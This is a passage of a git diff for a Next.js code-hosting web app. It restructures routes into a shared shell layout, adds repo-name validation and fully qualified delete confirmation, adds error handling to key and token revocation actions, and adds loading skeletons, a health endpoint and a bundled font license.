String(formData.get("repo") ?? ""); + const slug = safeRepoPath(String(formData.get("owner") ?? ""), String(formData.get("repo") ?? "")); + if (!slug) return { error: "That repository name is not valid." }; + const { owner, repo } = slug; const pattern = String(formData.get("pattern") ?? "").trim(); if (!pattern) return { error: "Name a branch, or a pattern like release/*." }; @@ -57,30 +65,38 @@ export async function addRule(_prev: SettingsState, formData: FormData): Promise return { ok: true }; } -export async function removeRule(formData: FormData) { - const owner = String(formData.get("owner") ?? ""); - const repo = String(formData.get("repo") ?? ""); +export async function removeRule(_prev: SettingsState, formData: FormData): Promise { + const slug = safeRepoPath(String(formData.get("owner") ?? ""), String(formData.get("repo") ?? "")); + if (!slug) return { error: "That repository name is not valid." }; + const { owner, repo } = slug; const pattern = String(formData.get("pattern") ?? ""); + if (!pattern) return { error: "No rule named." }; const token = await apiToken(); - if (!token || !pattern) return; - await api.setProtection(token, owner, repo, { pattern, remove: true }); + if (!token) return { error: "Your session has expired. Sign in again." }; + const r = await api.setProtection(token, owner, repo, { pattern, remove: true }); + if (!r.ok) return { error: r.message || "Could not remove the rule." }; revalidatePath(`/${owner}/${repo}/settings`); + return null; } /** Deleting is irreversible and there is no undo behind it, so the form makes the * person type the repo's name and this checks it again — a disabled button is a - * hint, not a gate. */ + * hint, not a gate. The name is FULLY QUALIFIED on purpose: `web` is a name half + * the namespaces here have, and a muscle-memory `web` typed into the wrong tab + * would otherwise delete a different `web`. `alice/web` cannot be typed by + * accident into `bob/web`'s settings. */ export async function destroyRepo(_prev: SettingsState, formData: FormData): Promise { - const owner = String(formData.get("owner") ?? ""); - const repo = String(formData.get("repo") ?? ""); + const slug = safeRepoPath(String(formData.get("owner") ?? ""), String(formData.get("repo") ?? "")); + if (!slug) return { error: "That repository name is not valid." }; + const { owner, repo } = slug; const confirm = String(formData.get("confirm") ?? "").trim(); - if (confirm !== repo) return { error: `Type ${repo} exactly to confirm.` }; + if (confirm !== `${owner}/${repo}`) return { error: `Type ${owner}/${repo} exactly to confirm.` }; const token = await apiToken(); if (!token) return { error: "Your session has expired. Sign in again." }; const r = await api.deleteRepo(token, owner, repo); if (!r.ok) return { error: r.message || "Could not delete the repository." }; - revalidatePath(`/${owner}`); - redirect(`/${owner}`); + revalidatePath(`/${owner}/repos`); + redirect(`/${owner}/repos`); } diff --git a/web/apps/web/src/app/(shell)/[owner]/[repo]/settings/loading.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/settings/loading.tsx new file mode 100644 index 00000000..2aa7621d --- /dev/null +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/settings/loading.tsx @@ -0,0 +1,10 @@ +import { SettingsBones, Skeleton } from "@/components/app/skeleton"; + +/** repo-settings.tsx: General, Visibility, Protected branches, Danger zone. */ +export default function Loading() { + return ( + + + + ); +} diff --git a/web/apps/web/src/app/[owner]/[repo]/settings/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/settings/page.tsx similarity index 91% rename from web/apps/web/src/app/[owner]/[repo]/settings/page.tsx rename to web/apps/web/src/app/(shell)/[owner]/[repo]/settings/page.tsx index 8406ea25..9c2650cd 100644 --- a/web/apps/web/src/app/[owner]/[repo]/settings/page.tsx +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/settings/page.tsx @@ -1,7 +1,7 @@ import type { Metadata } from "next"; import { listProtection } from "@/lib/api"; import { RepoSettings } from "@/components/repo/repo-settings"; -import { guardRepo } from "@/app/[owner]/[repo]/guard"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; export const metadata: Metadata = { title: "Repository settings" }; diff --git a/web/apps/web/src/app/[owner]/[repo]/tree/[...path]/page.tsx b/web/apps/web/src/app/(shell)/[owner]/[repo]/tree/[...path]/page.tsx similarity index 88% rename from web/apps/web/src/app/[owner]/[repo]/tree/[...path]/page.tsx rename to web/apps/web/src/app/(shell)/[owner]/[repo]/tree/[...path]/page.tsx index 78821315..a02f3bb2 100644 --- a/web/apps/web/src/app/[owner]/[repo]/tree/[...path]/page.tsx +++ b/web/apps/web/src/app/(shell)/[owner]/[repo]/tree/[...path]/page.tsx @@ -1,5 +1,5 @@ import { CodeView } from "@/components/repo/code"; -import { guardRepo } from "@/app/[owner]/[repo]/guard"; +import { guardRepo } from "@/app/(shell)/[owner]/[repo]/guard"; export default async function Page({ params, diff --git a/web/apps/web/src/app/(shell)/error.tsx b/web/apps/web/src/app/(shell)/error.tsx new file mode 100644 index 00000000..ffb4331e --- /dev/null +++ b/web/apps/web/src/app/(shell)/error.tsx @@ -0,0 +1,35 @@ +"use client"; + +import { useEffect } from "react"; +import { Button } from "@/components/ui/button"; + +/** What a page shows when it threw. Every browse page throws the api's message + * when a call fails for a reason that is not "sign in" or "not found", so this is + * mostly "the service is unavailable" — which is why there is a retry and no + * stack trace. Client component by Next's rule, not by choice. */ +export default function ShellError({ error, reset }: { error: Error & { digest?: string }; reset: () => void }) { + // The only place the real error goes. Anything a client component threw is + // rendered by nobody -- a message can carry a query, a path, a token. + useEffect(() => console.error(error), [error]); + + return ( +
+
+

+ Something went wrong +

+

This page could not be loaded.

+

+ The service is unavailable. Try again. +

+ {/* Enough to find this exact failure in the logs, and nothing more. */} + {error.digest && ( +

Reference {error.digest}

+ )} + +
+
+ ); +} diff --git a/web/apps/web/src/app/(shell)/invite/[token]/actions.ts b/web/apps/web/src/app/(shell)/invite/[token]/actions.ts new file mode 100644 index 00000000..17762d49 --- /dev/null +++ b/web/apps/web/src/app/(shell)/invite/[token]/actions.ts @@ -0,0 +1,19 @@ +"use server"; + +import { redirect } from "next/navigation"; +import { apiToken } from "@/lib/api-token"; +import { acceptInvite } from "@/lib/api"; + +export type AcceptState = { error?: string } | null; + +export async function accept(_prev: AcceptState, formData: FormData): Promise { + const token = String(formData.get("invite") ?? ""); + if (!token) return { error: "That link is not valid." }; + const session = await apiToken(); + if (!session) return { error: "Your session has expired. Sign in again." }; + const r = await acceptInvite(session, token); + // 403 is "sent to a different email", 404 is spent or expired — the api's words are the + // right ones for both, since the fix is on the person's side. + if (!r.ok) return { error: r.message || "Could not accept the invitation." }; + redirect(`/${r.value.team}`); +} diff --git a/web/apps/web/src/app/(shell)/invite/[token]/loading.tsx b/web/apps/web/src/app/(shell)/invite/[token]/loading.tsx new file mode 100644 index 00000000..b4e8889a --- /dev/null +++ b/web/apps/web/src/app/(shell)/invite/[token]/loading.tsx @@ -0,0 +1,17 @@ +import { Bone, Skeleton } from "@/components/app/skeleton"; + +/** accept-invite.tsx: one `max-w-md` card — heading, two lines of copy, a button. The page draws + * its own container. Without this it fell through to the home skeleton: two columns and a + * second
. */ +export default function Loading() { + return ( +
+ + + + + + +
+ ); +} diff --git a/web/apps/web/src/app/(shell)/invite/[token]/page.tsx b/web/apps/web/src/app/(shell)/invite/[token]/page.tsx new file mode 100644 index 00000000..a85832af --- /dev/null +++ b/web/apps/web/src/app/(shell)/invite/[token]/page.tsx @@ -0,0 +1,29 @@ +import type { Metadata } from "next"; +import { redirect } from "next/navigation"; +import { getSession } from "@/lib/session"; +import { apiToken } from "@/lib/api-token"; +import { previewInvite } from "@/lib/api"; +import { AcceptInvite } from "@/components/app/accept-invite"; + +export const metadata: Metadata = { title: "Invitation" }; + +/** The landing for an invitation link. Signed out, the person is sent to sign in and opens + * the link again afterwards — sign-in does not carry a return address today, and the email + * still has the link. The api shows nothing for a token without a session, and nothing for + * one that is spent, expired or made up. + * ponytail: no return-to after sign-in; add one to /login when a second page wants it. */ +export default async function InvitePage({ params }: { params: Promise<{ token: string }> }) { + const { token } = await params; + const session = await getSession(); + if (!session) redirect("/login"); + if (!session.user.username) redirect("/welcome"); + const api = await apiToken(); + if (!api) redirect("/login"); + + const preview = await previewInvite(api, token); + return ( +
+ +
+ ); +} diff --git a/web/apps/web/src/app/(shell)/layout.tsx b/web/apps/web/src/app/(shell)/layout.tsx new file mode 100644 index 00000000..0f5d49cb --- /dev/null +++ b/web/apps/web/src/app/(shell)/layout.tsx @@ -0,0 +1,30 @@ +import { getSession } from "@/lib/session"; +import { AppShell } from "@/components/app/app-shell"; +import { AutoRefresh } from "@/components/app/auto-refresh"; + +/** + * One shell for every signed-in page — home, the namespace, and every repo. + * + * The whole point is that it is a LAYOUT and there is exactly one: React keeps a + * layout mounted while the page beneath it changes, so the tab row's underline + * slides between tabs instead of being rebuilt somewhere else. Six pages used to + * mount their own, and crossing between them was a cut rather than a motion. + * + * Signed out, this is the landing page, which has no chrome and needs none — so + * the shell is skipped rather than rendered empty. Every page under here that + * requires a session redirects on its own; this decides only what wraps them. + * + * `AutoRefresh` lives here for the same reason: one timer, mounted once, refreshing whichever page + * is currently beneath the shell. Signed-out pages show nothing that changes on its own and get + * none. + */ +export default async function ShellLayout({ children }: { children: React.ReactNode }) { + const session = await getSession(); + if (!session?.user.username) return <>{children}; + return ( + + + {children} + + ); +} diff --git a/web/apps/web/src/app/(app)/new-repo/actions.ts b/web/apps/web/src/app/(shell)/new-repo/actions.ts similarity index 100% rename from web/apps/web/src/app/(app)/new-repo/actions.ts rename to web/apps/web/src/app/(shell)/new-repo/actions.ts diff --git a/web/apps/web/src/app/(shell)/new-repo/loading.tsx b/web/apps/web/src/app/(shell)/new-repo/loading.tsx new file mode 100644 index 00000000..c393aaea --- /dev/null +++ b/web/apps/web/src/app/(shell)/new-repo/loading.tsx @@ -0,0 +1,17 @@ +import { Bone, Skeleton, TitleBones } from "@/components/app/skeleton"; + +/** A single form: title, two labelled fields, a submit. The page draws its own container. */ +export default function Loading() { + return ( +
+ + +
+
+
+ +
+ +
+ ); +} diff --git a/web/apps/web/src/app/(app)/new-repo/page.tsx b/web/apps/web/src/app/(shell)/new-repo/page.tsx similarity index 90% rename from web/apps/web/src/app/(app)/new-repo/page.tsx rename to web/apps/web/src/app/(shell)/new-repo/page.tsx index 578f8af3..35bac2bd 100644 --- a/web/apps/web/src/app/(app)/new-repo/page.tsx +++ b/web/apps/web/src/app/(shell)/new-repo/page.tsx @@ -2,7 +2,6 @@ import type { Metadata } from "next"; import { redirect } from "next/navigation"; import { getSession } from "@/lib/session"; import { ownersFor } from "@/lib/owners"; -import { AppShell } from "@/components/app/app-shell"; import { NewRepoForm } from "@/components/app/new-repo-form"; export const metadata: Metadata = { title: "New repo" }; @@ -23,10 +22,8 @@ export default async function NewRepoPage({ const chosen = owners.find((o) => o.slug === owner)?.slug ?? session.user.owner; return ( -
- ); } diff --git a/web/apps/web/src/app/(app)/new-team/actions.ts b/web/apps/web/src/app/(shell)/new-team/actions.ts similarity index 100% rename from web/apps/web/src/app/(app)/new-team/actions.ts rename to web/apps/web/src/app/(shell)/new-team/actions.ts diff --git a/web/apps/web/src/app/(shell)/new-team/loading.tsx b/web/apps/web/src/app/(shell)/new-team/loading.tsx new file mode 100644 index 00000000..4c93a39c --- /dev/null +++ b/web/apps/web/src/app/(shell)/new-team/loading.tsx @@ -0,0 +1,19 @@ +import { Bone, Skeleton, TitleBones } from "@/components/app/skeleton"; + +/** A single form: title, two labelled fields, a submit. The page draws its own container. */ +export default function Loading() { + return ( +
+ + {/* The team form's subtitle runs to two lines; the form lands 21px lower than on /new-repo. */} + + +
+
+
+ +
+ +
+ ); +} diff --git a/web/apps/web/src/app/(app)/new-team/page.tsx b/web/apps/web/src/app/(shell)/new-team/page.tsx similarity index 83% rename from web/apps/web/src/app/(app)/new-team/page.tsx rename to web/apps/web/src/app/(shell)/new-team/page.tsx index ced915a7..235c6a14 100644 --- a/web/apps/web/src/app/(app)/new-team/page.tsx +++ b/web/apps/web/src/app/(shell)/new-team/page.tsx @@ -1,7 +1,6 @@ import type { Metadata } from "next"; import { redirect } from "next/navigation"; import { getSession } from "@/lib/session"; -import { AppShell } from "@/components/app/app-shell"; import { NewTeamForm } from "@/components/app/new-team-form"; export const metadata: Metadata = { title: "New team" }; @@ -12,10 +11,8 @@ export default async function NewTeamPage() { if (!session.user.username) redirect("/welcome"); return ( -
- ); } diff --git a/web/apps/web/src/app/page.tsx b/web/apps/web/src/app/(shell)/page.tsx similarity index 53% rename from web/apps/web/src/app/page.tsx rename to web/apps/web/src/app/(shell)/page.tsx index e12ba9a8..32b0c4d2 100644 --- a/web/apps/web/src/app/page.tsx +++ b/web/apps/web/src/app/(shell)/page.tsx @@ -1,14 +1,14 @@ import { redirect } from "next/navigation"; import { getSession } from "@/lib/session"; import { Landing } from "@/components/marketing/landing"; -import { Home } from "@/components/app/home"; /** One route, two audiences. A signed-out visitor is being introduced to the - * product; a signed-in one gets the team feed — what changed since they last looked. */ -export default async function HomePage() { + * product; a signed-in one belongs in a namespace — home is `/{owner}` now, and + * which owner that is depends on who is reading, so `/` sends them to their own. */ +export default async function RootPage() { const session = await getSession(); if (!session) return ; - /* Everything past here builds URLs from the handle, so it has to exist first. */ + /* The handle is the URL, so it has to exist first. */ if (!session.user.username) redirect("/welcome"); - return ; + redirect(`/${session.user.owner}`); } diff --git a/web/apps/web/src/app/settings/actions.ts b/web/apps/web/src/app/(shell)/settings/actions.ts similarity index 59% rename from web/apps/web/src/app/settings/actions.ts rename to web/apps/web/src/app/(shell)/settings/actions.ts index 3a02102b..bca4b28c 100644 --- a/web/apps/web/src/app/settings/actions.ts +++ b/web/apps/web/src/app/(shell)/settings/actions.ts @@ -8,13 +8,10 @@ import * as api from "@/lib/api"; * value, and a token's secret is returned to the browser exactly once — in the * reply to the action that created it, never from a later read. */ -export async function updateProfile(formData: FormData) { - void formData.get("name"); - revalidatePath("/settings"); -} - export type AddKeyState = { ok?: true; error?: string } | null; +export type DeleteState = { error?: string } | null; + /** Adds an access key, or — with `signing` set — a key that only proves who wrote * a commit. The same key may be added both ways; they grant different things. */ export async function addSshKey(_prev: AddKeyState, formData: FormData): Promise { @@ -39,12 +36,26 @@ export async function addSshKey(_prev: AddKeyState, formData: FormData): Promise return { ok: true }; } -export async function removeSshKey(formData: FormData) { +export async function removeSshKey(_prev: DeleteState, formData: FormData): Promise { const id = String(formData.get("id") ?? ""); const token = await apiToken(); - if (!token || !id) return; - await api.removeKey(token, id); + if (!token) return { error: "Your session has expired. Sign in again." }; + if (!id) return { error: "No key named." }; + const r = await api.removeKey(token, id); + if (!r.ok) return { error: r.message || "Could not remove the key." }; + revalidatePath("/settings"); + return null; +} + +export async function regeneratePlatformKey(_prev: DeleteState, formData: FormData): Promise { + const owner = String(formData.get("owner") ?? "").trim(); + if (!owner) return { error: "No account named." }; + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + const r = await api.regeneratePlatformKey(token, owner); + if (!r.ok) return { error: r.message || "Could not regenerate the key." }; revalidatePath("/settings"); + return null; } export type CreateTokenState = { token?: string; name?: string; error?: string } | null; @@ -68,10 +79,26 @@ export async function createToken(_prev: CreateTokenState, formData: FormData): return { token: r.value.token, name: r.value.name }; } -export async function revokeToken(formData: FormData) { +/** Takes back one CLI login. The row IS the revocation list on the api side, so removing it + * stops that token at the next request rather than at its expiry. */ +export async function revokeCliToken(_prev: DeleteState, formData: FormData): Promise { const id = String(formData.get("id") ?? ""); const token = await apiToken(); - if (!token || !id) return; - await api.revokeToken(token, id); + if (!token) return { error: "Your session has expired. Sign in again." }; + if (!id) return { error: "No login named." }; + const r = await api.revokeCliToken(token, id); + if (!r.ok) return { error: r.message || "Could not revoke the login." }; + revalidatePath("/settings"); + return null; +} + +export async function revokeToken(_prev: DeleteState, formData: FormData): Promise { + const id = String(formData.get("id") ?? ""); + const token = await apiToken(); + if (!token) return { error: "Your session has expired. Sign in again." }; + if (!id) return { error: "No token named." }; + const r = await api.revokeToken(token, id); + if (!r.ok) return { error: r.message || "Could not revoke the token." }; revalidatePath("/settings"); + return null; } diff --git a/web/apps/web/src/app/(shell)/settings/loading.tsx b/web/apps/web/src/app/(shell)/settings/loading.tsx new file mode 100644 index 00000000..296f3a5f --- /dev/null +++ b/web/apps/web/src/app/(shell)/settings/loading.tsx @@ -0,0 +1,12 @@ +import { SettingsBones, Skeleton } from "@/components/app/skeleton"; + +/** user-settings.tsx: title, then seven `SettingsSection`s. It draws its own container. */ +export default function Loading() { + return ( +
+ + + +
+ ); +} diff --git a/web/apps/web/src/app/settings/page.tsx b/web/apps/web/src/app/(shell)/settings/page.tsx similarity index 70% rename from web/apps/web/src/app/settings/page.tsx rename to web/apps/web/src/app/(shell)/settings/page.tsx index 293e3040..fae3a45a 100644 --- a/web/apps/web/src/app/settings/page.tsx +++ b/web/apps/web/src/app/(shell)/settings/page.tsx @@ -3,11 +3,11 @@ import { redirect } from "next/navigation"; import { getSession } from "@/lib/session"; import { ownersFor } from "@/lib/owners"; import { apiToken } from "@/lib/api-token"; -import { listKeys, listPasskeys, listTokens, type ApiCredential, type ApiResult } from "@/lib/api"; +import { listCliTokens, listKeys, listPasskeys, listTokens, platformKey, type ApiCredential, type ApiResult } from "@/lib/api"; import { UserSettings } from "@/components/app/user-settings"; import { listOrSignIn } from "@/lib/require-api"; -export const metadata: Metadata = { title: "Settings" }; +export const metadata: Metadata = { title: "Profile settings" }; export default async function Page() { const session = await getSession(); @@ -20,6 +20,11 @@ export default async function Page() { const owners = await ownersFor(session); // Passkeys are the person's, not a namespace's: one call, no owner. const passkeys = await listPasskeys(token); + // CLI logins are the person's too — the api defaults them to the caller, so no owner here either. + const cliTokens = await listCliTokens(token); + // The platform key is the person's own, never a team's — a team has no workspaces to carry it. + // Reading it is what generates it, so opening this page is how an account first gets one. + const platform = await platformKey(token, session.user.owner); // Credentials are per namespace, so the page asks for every namespace this // person can act in and shows them as one list — which namespace each belongs // to is a column, not a separate page to navigate between. @@ -43,6 +48,8 @@ export default async function Page() { signingKeys={gather((p) => p.signing)} tokens={gather((p) => p.tokens)} passkeys={listOrSignIn(passkeys)} + cliTokens={listOrSignIn(cliTokens)} + platformKey={platform.ok ? platform.value : undefined} /> ); } diff --git a/web/apps/web/src/app/[owner]/(org)/ci/page.tsx b/web/apps/web/src/app/[owner]/(org)/ci/page.tsx deleted file mode 100644 index 9b570c5e..00000000 --- a/web/apps/web/src/app/[owner]/(org)/ci/page.tsx +++ /dev/null @@ -1,11 +0,0 @@ -import { notFound, redirect } from "next/navigation"; -import { getSession } from "@/lib/session"; -import { TeamTriggers } from "@/components/app/team-triggers"; - -export default async function Page({ params }: { params: Promise<{ owner: string }> }) { - const { owner } = await params; - const session = await getSession(); - if (!session) redirect("/login"); - if (owner !== session.user.owner) notFound(); - return ; -} diff --git a/web/apps/web/src/app/[owner]/(org)/environments/page.tsx b/web/apps/web/src/app/[owner]/(org)/environments/page.tsx deleted file mode 100644 index b779d767..00000000 --- a/web/apps/web/src/app/[owner]/(org)/environments/page.tsx +++ /dev/null @@ -1,11 +0,0 @@ -import { notFound, redirect } from "next/navigation"; -import { getSession } from "@/lib/session"; -import { TeamEnvironments } from "@/components/app/team-environments"; - -export default async function Page({ params }: { params: Promise<{ owner: string }> }) { - const { owner } = await params; - const session = await getSession(); - if (!session) redirect("/login"); - if (owner !== session.user.owner) notFound(); - return ; -} diff --git a/web/apps/web/src/app/[owner]/(org)/layout.tsx b/web/apps/web/src/app/[owner]/(org)/layout.tsx deleted file mode 100644 index 7ab95f49..00000000 --- a/web/apps/web/src/app/[owner]/(org)/layout.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import { redirect } from "next/navigation"; -import { getSession } from "@/lib/session"; -import { AppShell } from "@/components/app/app-shell"; - -/** - * Every page of an owner's namespace — repos, registries, workspaces, - * environments, CI, settings — under one shell. - * - * A route GROUP, so it wraps these pages without wrapping `[owner]/[repo]`, - * which has a shell of its own with the repo's tabs. The URL is unchanged: - * `(org)` is a grouping, not a path segment. - * - * The reason it is a layout rather than a component each page renders: React - * keeps a layout mounted while the page beneath it changes. The tab row's - * underline slides between tabs, and a row that is torn down and rebuilt on every - * navigation cannot animate — it can only reappear somewhere else. - */ -export default async function OrgLayout({ children }: { children: React.ReactNode }) { - const session = await getSession(); - if (!session) redirect("/login"); - if (!session.user.username) redirect("/welcome"); - return ( - - {/* The page frame lives here too, so every page in the namespace shares one - width and one set of margins rather than each restating them. */} -
{children}
- - ); -} diff --git a/web/apps/web/src/app/[owner]/(org)/page.tsx b/web/apps/web/src/app/[owner]/(org)/page.tsx deleted file mode 100644 index d91ca655..00000000 --- a/web/apps/web/src/app/[owner]/(org)/page.tsx +++ /dev/null @@ -1,30 +0,0 @@ -import { notFound, redirect } from "next/navigation"; -import { getSession } from "@/lib/session"; -import { apiToken } from "@/lib/api-token"; -import { listRepos } from "@/lib/api"; -import { Dashboard } from "@/components/app/dashboard"; - -/** An owner's Code Repos — their own handle or a team's, the same page either way. - * - * Membership is not checked here: the api answers 404 for a namespace the caller - * may not act in, so asking it IS the check. Deciding locally would mean two - * places that know what a member is, and the browser-facing one would be guessing. */ -export default async function OwnerPage({ params }: { params: Promise<{ owner: string }> }) { - const { owner } = await params; - const session = await getSession(); - if (!session) redirect("/login"); - if (!session.user.username) redirect("/welcome"); - - const token = await apiToken(); - if (!token) redirect("/login"); - - const repos = await listRepos(token, owner); - if (!repos.ok) { - // An expired token is a session problem, not a missing namespace. - if (repos.kind === "unauthorized") redirect("/login?from=expired"); - if (repos.kind === "notFound") notFound(); - throw new Error(repos.message); - } - - return ; -} diff --git a/web/apps/web/src/app/[owner]/(org)/settings/actions.ts b/web/apps/web/src/app/[owner]/(org)/settings/actions.ts deleted file mode 100644 index e99050e9..00000000 --- a/web/apps/web/src/app/[owner]/(org)/settings/actions.ts +++ /dev/null @@ -1,18 +0,0 @@ -"use server"; - -import { revalidatePath } from "next/cache"; - -/** Persisting team settings belongs to the API client, which does not exist yet. - * The actions are real server actions so the forms already post the right way; - * the bodies are the only thing that changes when the client lands. */ -export async function updateTeam(formData: FormData) { - void formData.get("name"); - void formData.get("description"); - revalidatePath("/[owner]/settings", "page"); -} - -export async function inviteMember(formData: FormData) { - void formData.get("email"); - void formData.get("role"); - revalidatePath("/[owner]/settings", "page"); -} diff --git a/web/apps/web/src/app/[owner]/(org)/settings/page.tsx b/web/apps/web/src/app/[owner]/(org)/settings/page.tsx deleted file mode 100644 index 6ef0dc57..00000000 --- a/web/apps/web/src/app/[owner]/(org)/settings/page.tsx +++ /dev/null @@ -1,14 +0,0 @@ -import type { Metadata } from "next"; -import { notFound, redirect } from "next/navigation"; -import { getSession } from "@/lib/session"; -import { TeamSettings } from "@/components/app/team-settings"; - -export const metadata: Metadata = { title: "Team settings" }; - -export default async function SettingsPage({ params }: { params: Promise<{ owner: string }> }) { - const { owner } = await params; - const session = await getSession(); - if (!session) redirect("/login"); - if (owner !== session.user.owner) notFound(); - return ; -} diff --git a/web/apps/web/src/app/[owner]/(org)/workspaces/page.tsx b/web/apps/web/src/app/[owner]/(org)/workspaces/page.tsx deleted file mode 100644 index 30b957b7..00000000 --- a/web/apps/web/src/app/[owner]/(org)/workspaces/page.tsx +++ /dev/null @@ -1,11 +0,0 @@ -import { notFound, redirect } from "next/navigation"; -import { getSession } from "@/lib/session"; -import { TeamWorkspaces } from "@/components/app/team-workspaces"; - -export default async function Page({ params }: { params: Promise<{ owner: string }> }) { - const { owner } = await params; - const session = await getSession(); - if (!session) redirect("/login"); - if (owner !== session.user.owner) notFound(); - return ; -} diff --git a/web/apps/web/src/app/[owner]/[repo]/compare/page.tsx b/web/apps/web/src/app/[owner]/[repo]/compare/page.tsx deleted file mode 100644 index 7c2cf1ed..00000000 --- a/web/apps/web/src/app/[owner]/[repo]/compare/page.tsx +++ /dev/null @@ -1,8 +0,0 @@ -import { CompareView } from "@/components/repo/compare"; -import { guardRepo } from "@/app/[owner]/[repo]/guard"; - -export default async function Page({ params }: { params: Promise<{ owner: string; repo: string }> }) { - const { owner, repo } = await params; - await guardRepo(owner, repo); - return ; -} diff --git a/web/apps/web/src/app/[owner]/[repo]/issues/page.tsx b/web/apps/web/src/app/[owner]/[repo]/issues/page.tsx deleted file mode 100644 index 1b70db6f..00000000 --- a/web/apps/web/src/app/[owner]/[repo]/issues/page.tsx +++ /dev/null @@ -1,8 +0,0 @@ -import { IssuesView } from "@/components/repo/issues"; -import { guardRepo } from "@/app/[owner]/[repo]/guard"; - -export default async function Page({ params }: { params: Promise<{ owner: string; repo: string }> }) { - const { owner, repo } = await params; - await guardRepo(owner, repo); - return ; -} diff --git a/web/apps/web/src/app/[owner]/[repo]/layout.tsx b/web/apps/web/src/app/[owner]/[repo]/layout.tsx deleted file mode 100644 index aba66517..00000000 --- a/web/apps/web/src/app/[owner]/[repo]/layout.tsx +++ /dev/null @@ -1,37 +0,0 @@ -import { AppShell } from "@/components/app/app-shell"; -import { guardRepo } from "./guard"; - -/** - * Every repo route, in one place. - * - * The shell — breadcrumb, repo tabs, scroll region — belongs here rather than in - * each page. Eleven pages each rebuilding it is how they drift: one forgets a - * prop, another passes a different one, and the chrome changes as you navigate - * through what is supposed to be the same repo. - * - * It also means the shell is not re-rendered on navigation between repo pages — - * React keeps a layout mounted while the page beneath it changes — so the tab row - * does not flash and the scroll position of the chrome is preserved. - * - * `guardRepo` is cached per request, so resolving the repo here costs the page - * beneath nothing. - */ -export default async function RepoLayout({ - params, - children, -}: { - params: Promise<{ owner: string; repo: string }>; - children: React.ReactNode; -}) { - const { owner, repo } = await params; - const { session, meta } = await guardRepo(owner, repo); - - return ( - -
{children}
- - ); -} diff --git a/web/apps/web/src/app/[owner]/[repo]/pulls/[number]/page.tsx b/web/apps/web/src/app/[owner]/[repo]/pulls/[number]/page.tsx deleted file mode 100644 index 75f66ab7..00000000 --- a/web/apps/web/src/app/[owner]/[repo]/pulls/[number]/page.tsx +++ /dev/null @@ -1,15 +0,0 @@ -import { notFound } from "next/navigation"; -import { PullView } from "@/components/repo/pull-view"; -import { guardRepo } from "@/app/[owner]/[repo]/guard"; - -export default async function Page({ - params, -}: { - params: Promise<{ owner: string; repo: string; number: string }>; -}) { - const { owner, repo, number } = await params; - const { token } = await guardRepo(owner, repo); - const n = Number(number); - if (!Number.isInteger(n) || n < 1) notFound(); - return ; -} diff --git a/web/apps/web/src/app/[owner]/[repo]/pulls/new/page.tsx b/web/apps/web/src/app/[owner]/[repo]/pulls/new/page.tsx deleted file mode 100644 index 9c525082..00000000 --- a/web/apps/web/src/app/[owner]/[repo]/pulls/new/page.tsx +++ /dev/null @@ -1,33 +0,0 @@ -import { redirect } from "next/navigation"; -import { NewPullForm } from "@/components/repo/new-pull-form"; -import { guardRepo } from "@/app/[owner]/[repo]/guard"; -import { defaultBranch, refs, shortRef } from "@/lib/browse"; - -export default async function Page({ - params, - searchParams, -}: { - params: Promise<{ owner: string; repo: string }>; - searchParams: Promise<{ base?: string; head?: string }>; -}) { - const { owner, repo } = await params; - const { token } = await guardRepo(owner, repo); - const { base, head } = await searchParams; - - const all = await refs(token, owner, repo); - if (!all.ok) throw new Error(all.message); - const branches = all.value.filter((r) => r.kind === "branch").map((r) => shortRef(r.name)); - // Nothing to propose between: a repo with one branch has no second side. - if (branches.length < 2) redirect(`/${owner}/${repo}/pulls`); - - const fallback = defaultBranch(all.value); - return ( - b !== (fallback ? shortRef(fallback.name) : branches[0])) ?? branches[1]} - /> - ); -} diff --git a/web/apps/web/src/app/api/health/route.ts b/web/apps/web/src/app/api/health/route.ts new file mode 100644 index 00000000..adeb1985 --- /dev/null +++ b/web/apps/web/src/app/api/health/route.ts @@ -0,0 +1,5 @@ +/* Probe target. The kubelet hits this every few seconds per replica; rendering /login for + that was the most expensive thing this server did all day. No auth, no data, no body. */ +export function GET() { + return new Response(null, { status: 204 }); +} diff --git a/web/apps/web/src/app/api/repos/route.ts b/web/apps/web/src/app/api/repos/route.ts new file mode 100644 index 00000000..915f090b --- /dev/null +++ b/web/apps/web/src/app/api/repos/route.ts @@ -0,0 +1,18 @@ +import { NextResponse } from "next/server"; +import { apiToken } from "@/lib/api-token"; +import { listRepos } from "@/lib/api"; + +/** The ⌘K palette's data, fetched when it OPENS. This used to ride in every + * page's RSC payload — every repo of every owner, on every hard load. */ +export async function GET(req: Request) { + const owner = new URL(req.url).searchParams.get("owner"); + if (!owner) return NextResponse.json({ error: "owner is required" }, { status: 400 }); + const token = await apiToken(); + if (!token) return NextResponse.json([], { status: 401 }); + const list = await listRepos(token, owner); + if (!list.ok) return NextResponse.json([], { status: list.kind === "notFound" ? 404 : 502 }); + // Only what the palette draws — never the whole ApiRepo. + return NextResponse.json( + list.value.map((r) => ({ owner: r.owner, name: r.name, public: r.public, description: r.description })), + ); +} diff --git a/web/apps/web/src/app/fonts/HubotSansVF.ttf b/web/apps/web/src/app/fonts/HubotSansVF.ttf new file mode 100644 index 00000000..4999ed23 Binary files /dev/null and b/web/apps/web/src/app/fonts/HubotSansVF.ttf differ diff --git a/web/apps/web/src/app/fonts/LICENSE-HubotSans.txt b/web/apps/web/src/app/fonts/LICENSE-HubotSans.txt new file mode 100644 index 00000000..49e454dc --- /dev/null +++ b/web/apps/web/src/app/fonts/LICENSE-HubotSans.txt @@ -0,0 +1,93 @@ +Copyright (c) 2022, GitHub https://github.com/github/hubot-sans +with Reserved Font Name "Hubot Sans" + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +http://scripts.sil.org/OFL + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain 